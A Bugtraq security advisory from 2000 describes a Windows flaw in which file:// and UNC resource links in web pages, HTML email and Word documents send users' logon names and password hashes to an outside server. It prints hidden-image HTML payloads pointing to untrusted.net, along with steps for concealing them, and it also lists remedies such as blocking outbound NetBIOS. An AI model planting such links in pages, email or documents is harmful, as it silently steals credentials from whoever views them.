Bugtraq mailing list archives

Previous By Date Next
Previous By Thread Next

Network File Resource Vulnerability

From: eric_hacker () INS COM (Eric Hacker)
Date: Fri, 10 Mar 2000 01:12:46 -0500

Title: Network File Resource Vulnerability
Author: Eric Hacker
Organization: Lucent Technologies NetworkCare, Security Practice
Date: 3/10/00
Software: IE, Netscape, Outlook, Eudora, Microsoft Word, others.
Platform: Windows (All versions).

Risk: Remote access to users logon credentials. In most
scenarios passwords will be encrypted, but crackable.

Status: Vendors notified, workarounds available, but do not
provide complete protection for all environments.

Summary: Programs running on default configurations of Windows can
easily be duped into sending a user’s logon name, domain or system
name, and plain-text or encrypted password hash to non-trusted
servers over the Internet. This can occur by merely viewing a web
page, email, or certain Office documents. The attack can be
executed such that the user is unaware that anything unusual has
happened. Macros or scripting are not required to make this work.
Partial solutions are available, but will not protect all users or
enterprises.

Note: This vulnerability is not an entirely new discovery. A
variation of this attack using only IE had been discussed as far
back as 97 on the BugTraq and NTBugTraq lists. I have found it
briefly mentioned in a book. The new issues are that:
· The file:// tag as well as UNC \\ pathnames can be used.
· This attack can easily be sent via email.
· Windows 2000 is vulnerable to this type of attack.
· There is not any way to configure this functionality or turn it
off.

Vulnerable Operating Systems tested:
· Windows 95,98 (W9x)
· Windows NT4, SP6a (NT4)
· Windows 2000, RTM (W2K)

Vulnerable software tested.
· Internet Explorer (IE) 5, 4
· Netscape Navigator 4.0
· Outlook 2000, 98
· Outlook Express 98, 5
· Eudora 4
· Microsoft Word 97
Assume many others. Not all software was tested on all platforms.

Basic Description:

This attack relies on the file:// URL or sometimes the UNC \\
pathname to point to a resource such as a graphic. Windows systems
with NetBIOS over IP enabled and running a Microsoft Client will
retrieve the resource by attempting to log in to the server
providing the resource. Thus if a link was
file://untrusted.net/share/pixel.gif, one's system will try to log
on to untrusted.net using the current logon credentials and
retrieve the file.

This will give the untrusted.net server:
· The username currently logged on.
· The machine or domain name the user authenticated to.
· The encrypted LANMAN and NTLM hashes, or if W95 possibly the
plain-text password (See below).

This attack can be delivered by:
· A web page, as an embedded link to a graphic or other resource
on a page visited from a browser.
· An HTML formatted email, as an embedded link to a graphic or
other resource.
· In a Microsoft Word document, as an embedded link to a picture.
· When the W2K Windows Explorer preview pane displays an HTML
file.
· Possibly many other ways. Happy hunting.

Detailed Web Based:

The first attack is to hide a file:// or UNC link to an embedded
resource within a web page. This is extremely easy to do. The
weakness is that a user has to visit the web page in order for the
attack to take place.

HTML code would look something like this:
<IMG SRC="file://dns.name.or.ip.here/share/file.gif">

This may result in broken graphics displayed if the file is not
retrieved. The preferred method of hiding the request is to use
the background attribute of the body tag. This will not display
errors if the file is not retrieved.
<BODY background=file://untrusted.net/share/pixel.gif
bgColor=#ffffff>

If pixel.gif is a 1x1 white image, the user will not notice if it
is displayed or not. Unless one views the source one would have no
idea the file is even there. If the file is not available, one may
notice that it seems to take a while for the page to complete
loading even though all text is visible.

Another way to prevent any errors from appearing is to set up the
guest account with no password to allow anonymous access to the
server. Windows will always try the cached credentials first. When
the cached credentials fail, a server will silently allow
anonymous access and deliver the file.

IE will also take the UNC path format
\\untrusted.net\share\pixel.gif. Netscape (4.05) will not use this
format. My research indicates that this was the original problem
reported in 1997 with IE 3.0, but I could be wrong as the authors
were not entirely clear.

Detailed Mail based:

Since most major mail programs on Windows support HTLM email using
either the Netscape or IE engine for display, this same attack can
be delivered by email. An HTML message with the following:
<BODY background=file://untrusted.net/share/pixel.gif
bgColor=#ffffff NOSEND="1">

will activate the attack when the user opens or previews the
message. I believe the NOSEND attribute will keep Outlook from
embedding the file in the email message. This will ensure that the
link is forwarded if the mail is clever enough to get the initial
recipient to forward it.

Obviously the mail based version has the benefit of being directed
at targets. This has been successfully used in field testing.

Detailed Document based.

Links can also be placed in Microsoft Word documents. To do this,
open a word document. Choose Insert:Picture:From File. In the
dialog box type the UNC path for the file name. Check "Link to
File" and uncheck "Save with Document". Word does not accept the
file:// URL.

This linking does not require any macros to run. If a small white
graphic is used the viewer will have no idea it is in the
document.

Excel does not allow picture embedding in the same way. I assume
other Office programs may be vulnerable; I did not do further
testing.

Windows 95 downgrading LANMAN authentication.

According to Microsoft TechNet Bulletin Q165403, Windows 95
versions up to and including OEM SR 2.1 can be tricked into
downgrading authentication to plaintext passwords. There is an
update for W95 available; see
http://support.microsoft.com/support/kb/articles/Q165/4/03.ASP for
details. Without that patch these systems are extremely
vulnerable. Enterprises running W95 should verify their
configurations. W98, NT4 sp3 or later and W2K are not vulnerable
to plaintext downgrading. I mention this because I have
encountered a number of these systems in the field.

Remedies that provide some protection:
· Block all outgoing NetBIOS traffic at the firewalls.
· Disable NetBIOS on unneeded interfaces.
· Upgrade to or force NTLMv2 authentication for all clients.
· Use strong passwords and use passfilt.dll to require strong
passwords within a domain.

Remedy details:

Upgrade to or force NTLMv2 authentication for all clients.

This will not keep your username and server name from going out
over the wire if the untrusted system also supports NTLMv2. It
will make your password more difficult to crack, but it is still
susceptible to dictionary/brute force attacks. NTLMv2 raises the
bar, but does not completely protect you.

For NT4 and W2K see
http://support.microsoft.com/support/kb/articles/Q147/7/06.asp for
the details.
W9x clients can now also use NTLMv2 authentication. See
http://support.microsoft.com/support/kb/articles/Q239/8/69.ASP for
the details.

Block all outgoing NetBIOS traffic at the firewalls.

This will not protect you from those inside your network, but it
will stop outsiders from getting any information. Everyone worries
about inbound traffic, but many places don not consider outbound.
Block TCP ports 138 and 139 for NetBIOS.

Disable NetBIOS on unneeded interfaces.

This will protect some people some of the time. Most of the time
there is no reason to allow NetBIOS over dial-up connections. This
will protect the person with the corporate laptop when they are
home and dialing up to the Internet. One assumes the firewall
protects them in the office.

Use strong passwords and use passfilt.dll to require strong
passwords within a domain.

Strong passwords that do not include common words but do contain
punctuation, upper and lowercase letters and numerals are
extremely hard to crack. All passwords should be the full 14
available characters on Windows.

Domain administrators can use passfilt.dll to apply a filter that
requires users to use stronger passwords. For details on
passfilt.dll see
http://support.microsoft.com/support/kb/articles/Q169/9/90.ASP

The restrictions in passfilt.dll are not strong enough to ensure
that users will not dumb down their passwords. This happens when
they just append special characters to the ends of common words.
These passwords are only minimally harder to crack than dictionary
words. Anecdotal evidence shows this pattern is very common.

Managers requiring a higher level of password sophistication must
write their own passfilt.dll or wait for Microsoft to release a
new one. Instructions for writing your own are at
http://support.microsoft.com/support/kb/articles/Q151/0/82.ASP

Things that do not help:
· Disable caching of logon information. Only applies between
reboots.
· Security settings in IE do not provide a way to stop this. The
authentication settings only apply to http:// authentication.
· No macros or scripts are required; turning them off does not
stop this.
· Outlook cannot be configured to not display HTML emails.

Commentary
These remedies are Microsoft's recommended solution to this
problem. In my initial discussions with Microsoft I offered these
solutions and tried to demonstrate that they were not adequate. I
was not successful.

I do not think these solutions are strong enough. This is what I
asked for:
   There should be a registry key setting and Control Panel access
   that disables the caching of logon credentials as soon as they
   have been used to authenticate. Thus if I log into a domain,
then
   log into a non-member WorkGroup server, it will not send my
domain
   username and password to the non-member WorkGroup server
   automatically without my consent. Ideally, it shouldn't even
have
   them hidden in memory somewhere to send.

   This will not only prevent the current exploits of file:// and
UNC
   \\ links, but future unknown attacks. It will also keep
   trojans/virii from being able to exploit this overall weakness.

Microsoft has stated to me that their solution is a tradeoff
between ultimate security and system usability. I believe that the
choice should be available to network administrators to control
the reuse of user credentials. If others agree that this is a
sensible solution to this problem and want that choice, they
should make Microsoft aware of their opinion.

Eric Hacker, MCSE, CCSE
Network Systems Engineer, Security Practice
Lucent NetCare Professional Services
One New England Executive Park
Burlington, MA 01803
mailto:ehacker () lucent com
"Long gone are the days when one's surname referred to the role
one had in the community."
Previous By Date Next
Previous By Thread Next

Current thread: